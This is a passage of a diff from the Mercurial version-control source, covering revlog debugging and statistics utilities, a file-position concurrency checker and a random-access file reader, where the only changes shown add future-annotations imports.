             hint = _(b"each comma separated item should be key=value pairs")
             raise error.Abort(
                 _(b"invalid ui.clonebundleprefers item: %s") % p, hint=hint
             )
         return p.split(b'=', 1)
 
     prefers = [_split(p) for p in prefers]
 
     items = sorted(clonebundleentry(v, prefers) for v in entries)
     return [i.value for i in items]

mercurial/revlogutils/concurrency_checker.py

@@ -1,38 +1,40
+from __future__ import annotations
+
 from ..i18n import _
 from .. import error
 
 
 def get_checker(ui, revlog_name=b'changelog'):
     """Get a function that checks file handle position is as expected.
 
     This is used to ensure that files haven't been modified outside of our
     knowledge (such as on a networked filesystem, if `hg debuglocks` was used,
     or writes to .hg that ignored locks happened).
 
     Due to revlogs supporting a concept of buffered, delayed, or diverted
     writes, we're allowing the files to be shorter than expected (the data may
     not have been written yet), but they can't be longer.
 
     Please note that this check is not perfect; it can't detect all cases (there
     may be false-negatives/false-OKs), but it should never claim there's an
     issue when there isn't (false-positives/false-failures).
     """
 
     vpos = ui.config(b'debug', b'revlog.verifyposition.' + revlog_name)
     # Avoid any `fh.tell` cost if this isn't enabled.
     if not vpos or vpos not in [b'log', b'warn', b'fail']:
         return None
 
     def _checker(fh, fn, expected):
         if fh.tell() <= expected:
             return
 
         msg = _(b'%s: file cursor at position %d, expected %d')
         # Always log if we're going to warn or fail.
         ui.log(b'debug', msg + b'\n', fn, fh.tell(), expected)
         if vpos == b'warn':
             ui.warn((msg + b'\n') % (fn, fh.tell(), expected))
         elif vpos == b'fail':
             raise error.RevlogError(msg % (fn, fh.tell(), expected))
 
     return _checker

mercurial/revlogutils/debug.py

@@ -1,943 +1,945
 # revlogutils/debug.py - utility used for revlog debuging
 #
 # Copyright 2005-2007 Olivia Mackall <[e-mail]>
 # Copyright 2022 Octobus <[e-mail]>
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
+from __future__ import annotations
+
 import collections
 import string
 
 from .. import (
     mdiff,
     node as nodemod,
     revlogutils,
 )
 
 from . import (
     constants,
     deltas as deltautil,
 )
 
 INDEX_ENTRY_DEBUG_COLUMN = []
 
 NODE_SIZE = object()
 
 
 class _column_base:
     """constains the definition of a revlog column
 
     name:         the column header,
     value_func:   the function called to get a value,
     size:         the width of the column,
     verbose_only: only include the column in verbose mode.
     """
 
     def __init__(self, name, value_func, size=None, verbose=False):
         self.name = name
         self.value_func = value_func
         if size is not NODE_SIZE:
             if size is None:
                 size = 8  # arbitrary default
             size = max(len(name), size)
         self._size = size
         self.verbose_only = verbose
 
     def get_size(self, node_size):
         if self._size is NODE_SIZE:
             return node_size
         else:
             return self._size
 
 
 def debug_column(name, size=None, verbose=False):
     """decorated function is registered as a column
 
     name: the name of the column,
     size: the expected size of the column.
     """
 
     def register(func):
         entry = _column_base(
             name=name,
             value_func=func,
             size=size,
             verbose=verbose,
         )
         INDEX_ENTRY_DEBUG_COLUMN.append(entry)
         return entry
 
     return register
 
 
 @debug_column(b"rev", size=6)
 def _rev(index, rev, entry, hexfn):
     return b"%d" % rev
 
 
 @debug_column(b"rank", size=6, verbose=True)
 def rank(index, rev, entry, hexfn):
     return b"%d" % entry[constants.ENTRY_RANK]
 
 
 @debug_column(b"linkrev", size=6)
 def _linkrev(index, rev, entry, hexfn):
     return b"%d" % entry[constants.ENTRY_LINK_REV]
 
 
 @debug_column(b"nodeid", size=NODE_SIZE)
 def _nodeid(index, rev, entry, hexfn):
     return hexfn(entry[constants.ENTRY_NODE_ID])
 
 
 @debug_column(b"p1-rev", size=6, verbose=True)
 def _p1_rev(index, rev, entry, hexfn):
     return b"%d" % entry[constants.ENTRY_PARENT_1]
 
 
 @debug_column(b"p1-nodeid", size=NODE_SIZE)
 def _p1_node(index, rev, entry, hexfn):
     parent = entry[constants.ENTRY_PARENT_1]
     p_entry = index[parent]
     return hexfn(p_entry[constants.ENTRY_NODE_ID])
 
 
 @debug_column(b"p2-rev", size=6, verbose=True)
 def _p2_rev(index, rev, entry, hexfn):
     return b"%d" % entry[constants.ENTRY_PARENT_2]
 
 
 @debug_column(b"p2-nodeid", size=NODE_SIZE)
 def _p2_node(index, rev, entry, hexfn):
     parent = entry[constants.ENTRY_PARENT_2]
     p_entry = index[parent]
     return hexfn(p_entry[constants.ENTRY_NODE_ID])
 
 
 @debug_column(b"full-size", size=20, verbose=True)
 def full_size(index, rev, entry, hexfn):
     return b"%d" % entry[constants.ENTRY_DATA_UNCOMPRESSED_LENGTH]
 
 
 @debug_column(b"delta-base", size=6, verbose=True)
 def delta_base(index, rev, entry, hexfn):
     return b"%d" % entry[constants.ENTRY_DELTA_BASE]
 
 
 @debug_column(b"flags", size=2, verbose=True)
 def flags(index, rev, entry, hexfn):
     field = entry[constants.ENTRY_DATA_OFFSET]
     field &= 0xFFFF
     return b"%d" % field
 
 
 @debug_column(b"comp-mode", size=4, verbose=True)
 def compression_mode(index, rev, entry, hexfn):
     return b"%d" % entry[constants.ENTRY_DATA_COMPRESSION_MODE]
 
 
 @debug_column(b"data-offset", size=20, verbose=True)
 def data_offset(index, rev, entry, hexfn):
     field = entry[constants.ENTRY_DATA_OFFSET]
     field >>= 16
     return b"%d" % field
 
 
 @debug_column(b"chunk-size", size=10, verbose=True)
 def data_chunk_size(index, rev, entry, hexfn):
     return b"%d" % entry[constants.ENTRY_DATA_COMPRESSED_LENGTH]
 
 
 @debug_column(b"sd-comp-mode", size=7, verbose=True)
 def sidedata_compression_mode(index, rev, entry, hexfn):
     compression = entry[constants.ENTRY_SIDEDATA_COMPRESSION_MODE]
     if compression == constants.COMP_MODE_PLAIN:
         return b"plain"
     elif compression == constants.COMP_MODE_DEFAULT:
         return b"default"
     elif compression == constants.COMP_MODE_INLINE:
         return b"inline"
     else:
         return b"%d" % compression
 
 
 @debug_column(b"sidedata-offset", size=20, verbose=True)
 def sidedata_offset(index, rev, entry, hexfn):
     return b"%d" % entry[constants.ENTRY_SIDEDATA_OFFSET]
 
 
 @debug_column(b"sd-chunk-size", size=10, verbose=True)
 def sidedata_chunk_size(index, rev, entry, hexfn):
     return b"%d" % entry[constants.ENTRY_SIDEDATA_COMPRESSED_LENGTH]
 
 
 def debug_index(
     ui,
     repo,
     formatter,
     revlog,
     full_node,
 ):
     """display index data for a revlog"""
     if full_node:
         hexfn = nodemod.hex
     else:
         hexfn = nodemod.short
 
     idlen = 12
     for i in revlog:
         idlen = len(hexfn(revlog.node(i)))
         break
 
     fm = formatter
 
     header_pieces = []
     for column in INDEX_ENTRY_DEBUG_COLUMN:
         if column.verbose_only and not ui.verbose:
             continue
         size = column.get_size(idlen)
         name = column.name
         header_pieces.append(name.rjust(size))
 
     fm.plain(b' '.join(header_pieces) + b'\n')
 
     index = revlog.index
 
     for rev in revlog:
         fm.startitem()
         entry = index[rev]
         first = True
         for column in INDEX_ENTRY_DEBUG_COLUMN:
             if column.verbose_only and not ui.verbose:
                 continue
             if not first:
                 fm.plain(b' ')
             first = False
 
             size = column.get_size(idlen)
             value = column.value_func(index, rev, entry, hexfn)
             display = b"%%%ds" % size
             fm.write(column.name, display, value)
         fm.plain(b'\n')
 
     fm.end()
 
 
 def dump(ui, revlog):
     """perform the work for `hg debugrevlog --dump"""
     # XXX seems redundant with debug index ?
     r = revlog
     numrevs = len(r)
     ui.write(
         (
             b"# rev p1rev p2rev start   end deltastart base   p1   p2"
             b" rawsize totalsize compression heads chainlen\n"
         )
     )
     ts = 0
     heads = set()
 
     for rev in range(numrevs):
         dbase = r.deltaparent(rev)
         if dbase == -1:
             dbase = rev
         cbase = r.chainbase(rev)
         clen = r.chainlen(rev)
         p1, p2 = r.parentrevs(rev)
         rs = r.rawsize(rev)
         ts = ts + rs
         heads -= set(r.parentrevs(rev))
         heads.add(rev)
         try:
             compression = ts / r.end(rev)
         except ZeroDivisionError:
             compression = 0
         ui.write(
             b"%5d %5d %5d %5d %5d %10d %4d %4d %4d %7d %9d "
             b"%11d %5d %8d\n"
             % (
                 rev,
                 p1,
                 p2,
                 r.start(rev),
                 r.end(rev),
                 r.start(dbase),
                 r.start(cbase),
                 r.start(p1),
                 r.start(p2),
                 rs,
                 ts,
                 compression,
                 len(heads),
                 clen,
             )
         )
 
 
 def debug_revlog(ui, revlog):
     """code for `hg debugrevlog`"""
     r = revlog
     format = r._format_version
     v = r._format_flags
     flags = []
     gdelta = False
     if v & constants.FLAG_INLINE_DATA:
         flags.append(b'inline')
     if v & constants.FLAG_GENERALDELTA:
         gdelta = True
         flags.append(b'generaldelta')
     if not flags:
         flags = [b'(none)']
 
     ### the total size of stored content if incompressed.
     full_text_total_size = 0
     ### tracks merge vs single parent
     nummerges = 0
 
     ### tracks ways the "delta" are build
     # nodelta
     numempty = 0
     numemptytext = 0
     numemptydelta = 0
     # full file content
     numfull = 0
     # intermediate snapshot against a prior snapshot
     numsemi = 0
     # snapshot count per depth
     numsnapdepth = collections.defaultdict(lambda: 0)
     # number of snapshots with a non-ancestor delta
     numsnapdepth_nad = collections.defaultdict(lambda: 0)
     # delta against previous revision
     numprev = 0
     # delta against prev, where prev is a non-ancestor
     numprev_nad = 0
     # delta against first or second parent (not prev)
     nump1 = 0
     nump2 = 0
     # delta against neither prev nor parents
     numother = 0
     # delta against other that is a non-ancestor
     numother_nad = 0
     # delta against prev that are also first or second parent
     # (details of `numprev`)
     nump1prev = 0
     nump2prev = 0
 
     # data about delta chain of each revs
     chainlengths = []
     chainbases = []
     chainspans = []
 
     # data about each revision
     datasize = [None, 0, 0]
     fullsize = [None, 0, 0]
     semisize = [None, 0, 0]
     # snapshot count per depth
     snapsizedepth = collections.defaultdict(lambda: [None, 0, 0])
     deltasize = [None, 0, 0]
     chunktypecounts = {}
     chunktypesizes = {}
 
     def addsize(size, l):
         if l[0] is None or size < l[0]:
             l[0] = size
         if size > l[1]:
             l[1] = size
         l[2] += size
 
     with r.reading():
         numrevs = len(r)
         for rev in range(numrevs):
             p1, p2 = r.parentrevs(rev)
             delta = r.deltaparent(rev)
             if format > 0:
                 s = r.rawsize(rev)
                 full_text_total_size += s
                 addsize(s, datasize)
             if p2 != nodemod.nullrev:
                 nummerges += 1
             size = r.length(rev)
             if delta == nodemod.nullrev:
                 chainlengths.append(0)
                 chainbases.append(r.start(rev))
                 chainspans.append(size)
                 if size == 0:
                     numempty += 1
                     numemptytext += 1
                 else:
                     numfull += 1
                     numsnapdepth[0] += 1
                     addsize(size, fullsize)
                     addsize(size, snapsizedepth[0])
             else:
                 nad = (
                     delta != p1
                     and delta != p2
                     and not r.isancestorrev(delta, rev)
                 )
                 chainlengths.append(chainlengths[delta] + 1)
                 baseaddr = chainbases[delta]
                 revaddr = r.start(rev)
                 chainbases.append(baseaddr)
                 chainspans.append((revaddr - baseaddr) + size)
                 if size == 0:
                     numempty += 1
                     numemptydelta += 1
                 elif r.issnapshot(rev):
                     addsize(size, semisize)
                     numsemi += 1
                     depth = r.snapshotdepth(rev)
                     numsnapdepth[depth] += 1
                     if nad:
                         numsnapdepth_nad[depth] += 1
                     addsize(size, snapsizedepth[depth])
                 else:
                     addsize(size, deltasize)
                     if delta == rev - 1:
                         numprev += 1
                         if delta == p1:
                             nump1prev += 1
                         elif delta == p2:
                             nump2prev += 1
                         elif nad:
                             numprev_nad += 1
                     elif delta == p1:
                         nump1 += 1
                     elif delta == p2:
                         nump2 += 1
                     elif delta != nodemod.nullrev:
                         numother += 1
                         numother_nad += 1
 
             # Obtain data on the raw chunks in the revlog.
             if hasattr(r, '_inner'):
                 segment = r._inner.get_segment_for_revs(rev, rev)[1]
             else:
                 segment = r._revlog._getsegmentforrevs(rev, rev)[1]
             if segment:
                 chunktype = bytes(segment[0:1])
             else:
                 chunktype = b'empty'
 
             if chunktype not in chunktypecounts:
                 chunktypecounts[chunktype] = 0
                 chunktypesizes[chunktype] = 0
 
             chunktypecounts[chunktype] += 1
             chunktypesizes[chunktype] += size
 
     # Adjust size min value for empty cases
     for size in (datasize, fullsize, semisize, deltasize):
         if size[0] is None:
             size[0] = 0
 
     numdeltas = numrevs - numfull - numempty - numsemi
     numoprev = numprev - nump1prev - nump2prev - numprev_nad
     num_other_ancestors = numother - numother_nad
     totalrawsize = datasize[2]
     datasize[2] /= numrevs
     fulltotal = fullsize[2]
     if numfull == 0:
         fullsize[2] = 0
     else:
         fullsize[2] /= numfull
     semitotal = semisize[2]
     snaptotal = {}
     if numsemi > 0:
         semisize[2] /= numsemi
     for depth in snapsizedepth:
         snaptotal[depth] = snapsizedepth[depth][2]
         snapsizedepth[depth][2] /= numsnapdepth[depth]
 
     deltatotal = deltasize[2]
     if numdeltas > 0:
         deltasize[2] /= numdeltas
     totalsize = fulltotal + semitotal + deltatotal
     avgchainlen = sum(chainlengths) / numrevs
     maxchainlen = max(chainlengths)
     maxchainspan = max(chainspans)
     compratio = 1
     if totalsize:
         compratio = totalrawsize / totalsize
 
     basedfmtstr = b'%%%dd\n'
     basepcfmtstr = b'%%%dd %s(%%5.2f%%%%)\n'
 
     def dfmtstr(max):
         return basedfmtstr % len(str(max))
 
     def pcfmtstr(max, padding=0):
         return basepcfmtstr % (len(str(max)), b' ' * padding)
 
     def pcfmt(value, total):
         if total:
             return (value, 100 * float(value) / total)
         else:
             return value, 100.0
 
     ui.writenoi18n(b'format : %d\n' % format)
     ui.writenoi18n(b'flags  : %s\n' % b', '.join(flags))
 
     ui.write(b'\n')
     fmt = pcfmtstr(totalsize)
     fmt2 = dfmtstr(totalsize)
     ui.writenoi18n(b'revisions     : ' + fmt2 % numrevs)
     ui.writenoi18n(b'    merges    : ' + fmt % pcfmt(nummerges, numrevs))
     ui.writenoi18n(
         b'    normal    : ' + fmt % pcfmt(numrevs - nummerges, numrevs)
     )
     ui.writenoi18n(b'revisions     : ' + fmt2 % numrevs)
     ui.writenoi18n(b'    empty     : ' + fmt % pcfmt(numempty, numrevs))
     ui.writenoi18n(
         b'                   text  : '
         + fmt % pcfmt(numemptytext, numemptytext + numemptydelta)
     )
     ui.writenoi18n(
         b'                   delta : '
         + fmt % pcfmt(numemptydelta, numemptytext + numemptydelta)
     )
     ui.writenoi18n(
         b'    snapshot  : ' + fmt % pcfmt(numfull + numsemi, numrevs)
     )
     for depth in sorted(numsnapdepth):
         base = b'      lvl-%-3d :       ' % depth
         count = fmt % pcfmt(numsnapdepth[depth], numrevs)
         pieces = [base, count]
         if numsnapdepth_nad[depth]:
             pieces[-1] = count = count[:-1]  # drop the final '\n'
             more = b'  non-ancestor-bases: '
             anc_count = fmt
             anc_count %= pcfmt(numsnapdepth_nad[depth], numsnapdepth[depth])
             pieces.append(more)
             pieces.append(anc_count)
         ui.write(b''.join(pieces))
     ui.writenoi18n(b'    deltas    : ' + fmt % pcfmt(numdeltas, numrevs))
     ui.writenoi18n(b'revision size : ' + fmt2 % totalsize)
     ui.writenoi18n(
         b'    snapshot  : ' + fmt % pcfmt(fulltotal + semitotal, totalsize)
     )
     for depth in sorted(numsnapdepth):
         ui.write(
             (b'      lvl-%-3d :       ' % depth)
             + fmt % pcfmt(snaptotal[depth], totalsize)
         )
     ui.writenoi18n(b'    deltas    : ' + fmt % pcfmt(deltatotal, totalsize))
 
     letters = string.ascii_letters.encode('ascii')
 
     def fmtchunktype(chunktype):
         if chunktype == b'empty':
             return b'    %s     : ' % chunktype
         elif chunktype in letters:
             return b'    0x%s (%s)  : ' % (nodemod.hex(chunktype), chunktype)
         else:
             return b'    0x%s      : ' % nodemod.hex(chunktype)
 
     ui.write(b'\n')
     ui.writenoi18n(b'chunks        : ' + fmt2 % numrevs)
     for chunktype in sorted(chunktypecounts):
         ui.write(fmtchunktype(chunktype))
         ui.write(fmt % pcfmt(chunktypecounts[chunktype], numrevs))
     ui.writenoi18n(b'chunks size   : ' + fmt2 % totalsize)
     for chunktype in sorted(chunktypecounts):
         ui.write(fmtchunktype(chunktype))
         ui.write(fmt % pcfmt(chunktypesizes[chunktype], totalsize))
 
     ui.write(b'\n')
     b_total = b"%d" % full_text_total_size
     p_total = []
     while len(b_total) > 3:
         p_total.append(b_total[-3:])
         b_total = b_total[:-3]
     p_total.append(b_total)
     p_total.reverse()
     b_total = b' '.join(p_total)
 
     ui.write(b'\n')
     ui.writenoi18n(b'total-stored-content: %s bytes\n' % b_total)
     ui.write(b'\n')
     fmt = dfmtstr(max(avgchainlen, maxchainlen, maxchainspan, compratio))
     ui.writenoi18n(b'avg chain length  : ' + fmt % avgchainlen)
     ui.writenoi18n(b'max chain length  : ' + fmt % maxchainlen)
     ui.writenoi18n(b'max chain reach   : ' + fmt % maxchainspan)
     ui.writenoi18n(b'compression ratio : ' + fmt % compratio)
 
     if format > 0:
         ui.write(b'\n')
         ui.writenoi18n(
             b'uncompressed data size (min/max/avg) : %d / %d / %d\n'
             % tuple(datasize)
         )
     ui.writenoi18n(
         b'full revision size (min/max/avg)     : %d / %d / %d\n'
         % tuple(fullsize)
     )
     ui.writenoi18n(
         b'inter-snapshot size (min/max/avg)    : %d / %d / %d\n'
         % tuple(semisize)
     )
     for depth in sorted(snapsizedepth):
         if depth == 0:
             continue
         ui.writenoi18n(
             b'    level-%-3d (min/max/avg)          : %d / %d / %d\n'
             % ((depth,) + tuple(snapsizedepth[depth]))
         )
     ui.writenoi18n(
         b'delta size (min/max/avg)             : %d / %d / %d\n'
         % tuple(deltasize)
     )
 
     if numdeltas > 0:
         ui.write(b'\n')
         fmt = pcfmtstr(numdeltas)
         fmt2 = pcfmtstr(numdeltas, 4)
         ui.writenoi18n(
             b'deltas against prev  : ' + fmt % pcfmt(numprev, numdeltas)
         )
         if numprev > 0:
             ui.writenoi18n(
                 b'    where prev = p1  : ' + fmt2 % pcfmt(nump1prev, numprev)
             )
             ui.writenoi18n(
                 b'    where prev = p2  : ' + fmt2 % pcfmt(nump2prev, numprev)
             )
             ui.writenoi18n(
                 b'    other-ancestor   : ' + fmt2 % pcfmt(numoprev, numprev)
             )
             ui.writenoi18n(
                 b'    unrelated        : ' + fmt2 % pcfmt(numoprev, numprev)
             )
         if gdelta:
             ui.writenoi18n(
                 b'deltas against p1    : ' + fmt % pcfmt(nump1, numdeltas)
             )
             ui.writenoi18n(
                 b'deltas against p2    : ' + fmt % pcfmt(nump2, numdeltas)
             )
             ui.writenoi18n(
                 b'deltas against ancs  : '
                 + fmt % pcfmt(num_other_ancestors, numdeltas)
             )
             ui.writenoi18n(
                 b'deltas against other : '
                 + fmt % pcfmt(numother_nad, numdeltas)
             )
 
 
 def debug_delta_find(ui, revlog, rev, base_rev=nodemod.nullrev):
     """display the search process for a delta"""
     deltacomputer = deltautil.deltacomputer(
         revlog,
         write_debug=ui.write,
         debug_search=not ui.quiet,
     )
 
     node = revlog.node(rev)
     p1r, p2r = revlog.parentrevs(rev)
     p1 = revlog.node(p1r)
     p2 = revlog.node(p2r)
     full_text = revlog.revision(rev)
     btext = [full_text]
     textlen = len(btext[0])
     cachedelta = None
     flags = revlog.flags(rev)
 
     if base_rev != nodemod.nullrev:
         base_text = revlog.revision(base_rev)
         delta = mdiff.textdiff(base_text, full_text)
 
         cachedelta = (base_rev, delta, constants.DELTA_BASE_REUSE_TRY)
         btext = [None]
 
     revinfo = revlogutils.revisioninfo(
         node,
         p1,
         p2,
         btext,
         textlen,
         cachedelta,
         flags,
     )
 
     fh = revlog._datafp()
     deltacomputer.finddeltainfo(revinfo, fh, target_rev=rev)
 
 
 def debug_revlog_stats(
     repo, fm, changelog: bool, manifest: bool, filelogs: bool
 ):
     """Format revlog statistics for debugging purposes
 
     fm: the output formatter.
     """
     fm.plain(b'rev-count   data-size inl type      target \n')
 
     revlog_entries = [e for e in repo.store.walk() if e.is_revlog]
     revlog_entries.sort(key=lambda e: (e.revlog_type, e.target_id))
 
     for entry in revlog_entries:
         if not changelog and entry.is_changelog:
             continue
         elif not manifest and entry.is_manifestlog:
             continue
         elif not filelogs and entry.is_filelog:
             continue
         rlog = entry.get_revlog_instance(repo).get_revlog()
         fm.startitem()
         nb_rev = len(rlog)
         inline = rlog._inline
         data_size = rlog._get_data_offset(nb_rev - 1)
 
         target = rlog.target
         revlog_type = b'unknown'
         revlog_target = b''
         if target[0] == constants.KIND_CHANGELOG:
             revlog_type = b'changelog'
         elif target[0] == constants.KIND_MANIFESTLOG:
             revlog_type = b'manifest'
             revlog_target = target[1]
         elif target[0] == constants.KIND_FILELOG:
             revlog_type = b'file'
             revlog_target = target[1]
 
         fm.write(b'revlog.rev-count', b'%9d', nb_rev)
         fm.write(b'revlog.data-size', b'%12d', data_size)
 
         fm.write(b'revlog.inline', b' %-3s', b'yes' if inline else b'no')
         fm.write(b'revlog.type', b' %-9s', revlog_type)
         fm.write(b'revlog.target', b' %s', revlog_target)
 
         fm.plain(b'\n')
 
 
 class DeltaChainAuditor:
     def __init__(self, revlog):
         self._revlog = revlog
         self._index = self._revlog.index
         self._generaldelta = revlog.delta_config.general_delta
         self._chain_size_cache = {}
         # security to avoid crash on corrupted revlogs
         self._total_revs = len(self._index)
 
     def revinfo(self, rev, size_info=True, dist_info=True, sparse_info=True):
         e = self._index[rev]
         compsize = e[constants.ENTRY_DATA_COMPRESSED_LENGTH]
         uncompsize = e[constants.ENTRY_DATA_UNCOMPRESSED_LENGTH]
 
         base = e[constants.ENTRY_DELTA_BASE]
         p1 = e[constants.ENTRY_PARENT_1]
         p2 = e[constants.ENTRY_PARENT_2]
 
         # If the parents of a revision has an empty delta, we never try to
         # delta against that parent, but directly against the delta base of
         # that parent (recursively). It avoids adding a useless entry in the
         # chain.
         #
         # However we need to detect that as a special case for delta-type, that
         # is not simply "other".
         p1_base = p1
         if p1 != nodemod.nullrev and p1 < self._total_revs:
             e1 = self._index[p1]
             while e1[constants.ENTRY_DATA_COMPRESSED_LENGTH] == 0:
                 new_base = e1[constants.ENTRY_DELTA_BASE]
                 if (
                     new_base == p1_base
                     or new_base == nodemod.nullrev
                     or new_base >= self._total_revs
                 ):
                     break
                 p1_base = new_base
                 e1 = self._index[p1_base]
         p2_base = p2
         if p2 != nodemod.nullrev and p2 < self._total_revs:
             e2 = self._index[p2]
             while e2[constants.ENTRY_DATA_COMPRESSED_LENGTH] == 0:
                 new_base = e2[constants.ENTRY_DELTA_BASE]
                 if (
                     new_base == p2_base
                     or new_base == nodemod.nullrev
                     or new_base >= self._total_revs
                 ):
                     break
                 p2_base = new_base
                 e2 = self._index[p2_base]
 
         if self._generaldelta:
             if base == p1:
                 deltatype = b'p1'
             elif base == p2:
                 deltatype = b'p2'
             elif base == rev:
                 deltatype = b'base'
             elif base == p1_base:
                 deltatype = b'skip1'
             elif base == p2_base:
                 deltatype = b'skip2'
             elif self._revlog.issnapshot(rev):
                 deltatype = b'snap'
             elif base == rev - 1:
                 deltatype = b'prev'
             else:
                 deltatype = b'other'
         else:
             if base == rev:
                 deltatype = b'base'
             else:
                 deltatype = b'prev'
 
         chain = self._revlog._deltachain(rev)[0]
 
         data = {
             'p1': p1,
             'p2': p2,
             'compressed_size': compsize,
             'uncompressed_size': uncompsize,
             'deltatype': deltatype,
             'chain': chain,
         }
 
         if size_info or dist_info or sparse_info:
             chain_size = 0
             for iter_rev in reversed(chain):
                 cached = self._chain_size_cache.get(iter_rev)
                 if cached is not None:
                     chain_size += cached
                     break
                 e = self._index[iter_rev]
                 chain_size += e[constants.ENTRY_DATA_COMPRESSED_LENGTH]
             self._chain_size_cache[rev] = chain_size
             data['chain_size'] = chain_size
 
         return data
 
 
 def debug_delta_chain(
     revlog,
     revs=None,
     size_info=True,
     dist_info=True,
     sparse_info=True,
 ):
     auditor = DeltaChainAuditor(revlog)
     r = revlog
     start = r.start
     length = r.length
     withsparseread = revlog.data_config.with_sparse_read
 
     header = (
         b'    rev'
         b'      p1'
         b'      p2'
         b'  chain#'
         b' chainlen'
         b'     prev'
         b'   delta'
     )
     if size_info:
         header += b'       size' b'    rawsize' b'  chainsize' b'     ratio'
     if dist_info:
         header += b'   lindist' b' extradist' b' extraratio'
     if withsparseread and sparse_info:
         header += b'   readsize' b' largestblk' b' rddensity' b' srchunks'
     header += b'\n'
     yield header
 
     if revs is None:
         all_revs = iter(r)
     else:
         revlog_size = len(r)
         all_revs = sorted(rev for rev in revs if rev < revlog_size)
 
     chainbases = {}
     for rev in all_revs:
         info = auditor.revinfo(
             rev,
             size_info=size_info,
             dist_info=dist_info,
             sparse_info=sparse_info,
         )
         comp = info['compressed_size']
         uncomp = info['uncompressed_size']
         chain = info['chain']
         chainbase = chain[0]
         chainid = chainbases.setdefault(chainbase, len(chainbases) + 1)
         if dist_info:
             basestart = start(chainbase)
             revstart = start(rev)
             lineardist = revstart + comp - basestart
             extradist = lineardist - info['chain_size']
         try:
             prevrev = chain[-2]
         except IndexError:
             prevrev = -1
 
         if size_info:
             chainsize = info['chain_size']
             if uncomp != 0:
                 chainratio = float(chainsize) / float(uncomp)
             else:
                 chainratio = chainsize
 
         if dist_info:
             if chainsize != 0:
                 extraratio = float(extradist) / float(chainsize)
             else:
                 extraratio = extradist
 
         # label, display-format, data-key, value
         entry = [
             (b'rev', b'%7d', 'rev', rev),
             (b'p1', b'%7d', 'p1', info['p1']),
             (b'p2', b'%7d', 'p2', info['p2']),
             (b'chainid', b'%7d', 'chainid', chainid),
             (b'chainlen', b'%8d', 'chainlen', len(chain)),
             (b'prevrev', b'%8d', 'prevrev', prevrev),
             (b'deltatype', b'%7s', 'deltatype', info['deltatype']),
         ]
         if size_info:
             entry.extend(
                 [
                     (b'compsize', b'%10d', 'compsize', comp),
                     (b'uncompsize', b'%10d', 'uncompsize', uncomp),
                     (b'chainsize', b'%10d', 'chainsize', chainsize),
                     (b'chainratio', b'%9.5f', 'chainratio', chainratio),
                 ]
             )
         if dist_info:
             entry.extend(
                 [
                     (b'lindist', b'%9d', 'lindist', lineardist),
                     (b'extradist', b'%9d', 'extradist', extradist),
                     (b'extraratio', b'%10.5f', 'extraratio', extraratio),
                 ]
             )
         if withsparseread and sparse_info:
             chainsize = info['chain_size']
             readsize = 0
             largestblock = 0
             srchunks = 0
 
             for revschunk in deltautil.slicechunk(r, chain):
                 srchunks += 1
                 blkend = start(revschunk[-1]) + length(revschunk[-1])
                 blksize = blkend - start(revschunk[0])
 
                 readsize += blksize
                 if largestblock < blksize:
                     largestblock = blksize
 
             if readsize:
                 readdensity = float(chainsize) / float(readsize)
             else:
                 readdensity = 1
             entry.extend(
                 [
                     (b'readsize', b'%10d', 'readsize', readsize),
                     (b'largestblock', b'%10d', 'largestblock', largestblock),
                     (b'readdensity', b'%9.5f', 'readdensity', readdensity),
                     (b'srchunks', b'%8d', 'srchunks', srchunks),
                 ]
             )
         yield entry

mercurial/revlogutils/randomaccessfile.py

@@ -1,230 +1,232
 # Copyright Mercurial Contributors
 #
 # This software may be used and distributed according to the terms of the
 # GNU General Public License version 2 or any later version.
 
+from __future__ import annotations
+
 import contextlib
 
 from ..i18n import _
 from .. import (
     error,
     util,
 )
 
 
 _MAX_CACHED_CHUNK_SIZE = 1048576  # 1 MiB
 
 PARTIAL_READ_MSG = _(
     b'partial read of revlog %s; expected %d bytes from offset %d, got %d'
 )
 
 
 def _is_power_of_two(n):
     return (n & (n - 1) == 0) and n != 0
 
 
 class appender:
     """the changelog index must be updated last on disk, so we use this class
     to delay writes to it"""
 
     def __init__(self, vfs, name, mode, buf):
         self.data = buf
         fp = vfs(name, mode)
         self.fp = fp
         self.offset = fp.tell()
         self.size = vfs.fstat(fp).st_size
         self._end = self.size
 
     def end(self):
         return self._end
 
     def tell(self):
         return self.offset
 
     def flush(self):
         pass
 
     @property
     def closed(self):
         return self.fp.closed
 
     def close(self):
         self.fp.close()
 
     def seek(self, offset, whence=0):
         '''virtual file offset spans real file and data'''
         if whence == 0:
             self.offset = offset
         elif whence == 1:
             self.offset += offset
         elif whence == 2:
             self.offset = self.end() + offset
         if self.offset < self.size:
             self.fp.seek(self.offset)
 
     def read(self, count=-1):
         '''only trick here is reads that span real file and data'''
         ret = b""
         if self.offset < self.size:
             s = self.fp.read(count)
             ret = s
             self.offset += len(s)
             if count > 0:
                 count -= len(s)
         if count != 0:
             doff = self.offset - self.size
             self.data.insert(0, b"".join(self.data))
             del self.data[1:]
             s = self.data[0][doff : doff + count]
             self.offset += len(s)
             ret += s
         return ret
 
     def write(self, s):
         self.data.append(bytes(s))
         self.offset += len(s)
         self._end += len(s)
 
     def __enter__(self):
         self.fp.__enter__()
         return self
 
     def __exit__(self, *args):
         return self.fp.__exit__(*args)
 
 
 class randomaccessfile:
     """Accessing arbitrary chuncks of data within a file, with some caching"""
 
     def __init__(
         self,
         opener,
         filename,
         default_cached_chunk_size,
         initial_cache=None,
     ):
         # Required by bitwise manipulation below
         assert _is_power_of_two(default_cached_chunk_size)
 
         self.opener = opener
         self.filename = filename
         self.default_cached_chunk_size = default_cached_chunk_size
         self.writing_handle = None  # This is set from revlog.py
         self.reading_handle = None
         self._cached_chunk = b''
         self._cached_chunk_position = 0  # Offset from the start of the file
         if initial_cache:
             self._cached_chunk_position, self._cached_chunk = initial_cache
 
     def clear_cache(self):
         self._cached_chunk = b''
         self._cached_chunk_position = 0
 
     @property
     def is_open(self):
         """True if any file handle is being held
 
         Used for assert and debug in the python code"""
         return (
             self.reading_handle is not None or self.writing_handle is not None
         )
 
     def _open(self, mode=b'r'):
         """Return a file object"""
         return self.opener(self.filename, mode=mode)
 
     @contextlib.contextmanager
     def _read_handle(self):
         """File object suitable for reading data"""
         # Use a file handle being actively used for writes, if available.
         # There is some danger to doing this because reads will seek the
         # file. However, revlog._writeentry performs a SEEK_END before all
         # writes, so we should be safe.
         if self.writing_handle:
             yield self.writing_handle
 
         elif self.reading_handle:
             yield self.reading_handle
 
         # Otherwise open a new file handle.
         else:
             with self._open() as fp:
                 yield fp
 
     @contextlib.contextmanager
     def reading(self):
